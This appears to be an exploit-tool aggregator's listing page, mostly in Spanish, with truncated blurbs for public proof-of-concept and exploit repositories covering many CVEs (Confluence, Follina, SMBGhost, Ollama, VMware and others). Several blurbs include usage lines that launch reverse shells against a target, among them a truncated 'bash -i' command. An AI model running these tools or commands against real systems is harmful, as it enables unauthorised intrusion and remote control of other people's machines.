CVE-2019-11580

CVE-2019-11580 Un shell CVE-2019-11580 para explotar vulnerabilidades de forma remota...

Confluence-RCE

Uso: python3 mian.py Detección Ejecución de comandos Reverse shell Soporte para proxy socks5 y http...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Script de explotación multihilo para CVE-2022-36804 que afecta a la mayoría de las versiones de BitBucket 8.3.1 Consulte el aviso completo aquí https://jira.atlassian.com/browse/BSERV-13438 Todo el crédito para TheGrandPew por el descubrimiento El script detectará automáticamen...

CVE-2022-36553-PoC

CVE-2022-36553 - Inyección Remota de Comandos no Autenticada en Hytec Inter HWL-2511-SS. Resumen Este repositorio contiene un script de shell reversa PoC para explotar CVE-2022-36553, una vulnerabilidad crítica en dispositivos Hytec Inter HWL-2511-SS. El script es una demostración práctica que...

Follina

Follina PARCHEADO Shell de acceso remoto para Windows basado en cve-2022-30190 ⚠️ Hecho solo con fines educativos 📚 Instalación y Uso 🛠️ root@kitploit: $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

CVE-2020-9484

CVE-2020-9484 Click the image to watch the video Usage Make it execuateble root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2023-46604

CVE-2023-46604 Set up docker-compose containing 2 images: the victim machine and the target machine according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Open an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen fo...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Vulnerability Description JumpServer Arbitrary File Write Vulnerability CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. Place the script and required files in the same directory 2. Ensure Google Chrome is installed, and obtain its version number root@kitploit: re...

CVE-2020-0796

CVE-2020-0796 POC de ejecución remota de código c 2020 ZecOps, Inc. - https://www.zecops.com - Encuentra los errores de los atacantes POC de ejecución remota de código para CVE-2020-0796 / «SMBGhost» Resultado esperado: shell inversa con acceso de sistema. Destinado únicamente para fines...

cve-2026-27483

CVE-2026-27483 PoC de Path Traversal a RCE en MindsDB Este script PoC se basa en el siguiente aviso de GitHub Por defecto, MindsDB no usa autenticación El PoC admite modos no autenticado y autenticado Podemos consultar /api/handlers/ para encontrar handlers disponibles; usa el nombre de cualquier...

CVE-2023-20887

Exploit CVE-2023-20887 VMWare vRealize Network Insight RCE sin autenticación previa CVE-2023-20887 Uso root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:900...

envocabulary

envocabulary Para cada variable en tu shell actual, encuentra el archivo y la línea que la estableció, o qué subsistema direnv, launchd, terminal, SSH, sistema la inyectó. Además, algunos comandos para archivos estáticos para el momento en que tu configuración de shell se ha dispersado en N...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Next.js-Exploit-Tool 图形化综合利用工具。 简介 一款针对 CVE-2025-55182 的独立安全评估工具，基于 Go 开发，提供图形化界面（GUI），用于快速完成漏洞检测与验证。 更新日志 v1.3.0 新增 Godzilla 哥斯拉 内存马支持 实现了基于 Node.js 的 Godzilla 内存马注入功能，...

CVE-2020-0041-Pixel-3a

CVE-2020-0041: exploit de escalada de privilegios Esta carpeta contiene un exploit de escalada de privilegios local, una modificación del PoC de bluefrostsecurity para CVE-2020-0041. El exploit fue proporcionado con offsets hardcodeados para un dispositivo Pixel 3 con el firmware de febrero de 20...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter es un script de Bash diseñado para escanear instalaciones de RaspAP y probarlas para una vulnerabilidad específica, CVE-2022-39986. root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / ...

CVE-2024-45519

CVE-2024-45519 Script de explotación de vulnerabilidad SMTP Resumen Este script comprueba vulnerabilidades en un servidor SMTP y, si las encuentra, explota la vulnerabilidad estableciendo una conexión de shell inversa a tu máquina. Características root@kitploit: Comprobación de puerto: Verifica s...

cve-2020-11060-poc

CVE-2020-11060 Este script es un exploit basado en Python 3.x para CVE-2020-11060 en versiones de GLPI 0.85-9.4.5. Implementación original: 0xdreadnaught Refactorización en Python3: n3rada El PoC original en ExploitDB ahora está obsoleto porque usaba Python 2.x. La nueva versión ha sido enviada, ...

bitlocker-hardening

🔐 yellowkey-mitigation Endurecimiento de BitLocker TPM+PIN contra CVE-2026-45585 YellowKey Mitigación automatizada para la omisión de BitLocker en WinRE: aún no hay un parche completo disponible 🔍 La Vulnerabilidad YellowKey es una omisión de BitLocker divulgada públicamente que otorga a un...

CVE-2023-45878

CVE-2023-45878 Wrote this script based on the work of https://herolab.usd.de/security-advisories/usd-2023-0025/ . The exploit works by using an Arbitrary File Write exploit in Gibbon LMS 25.0.1 . This PoC will use upload a simple php cmd script, and then use that to load a powershell revshell...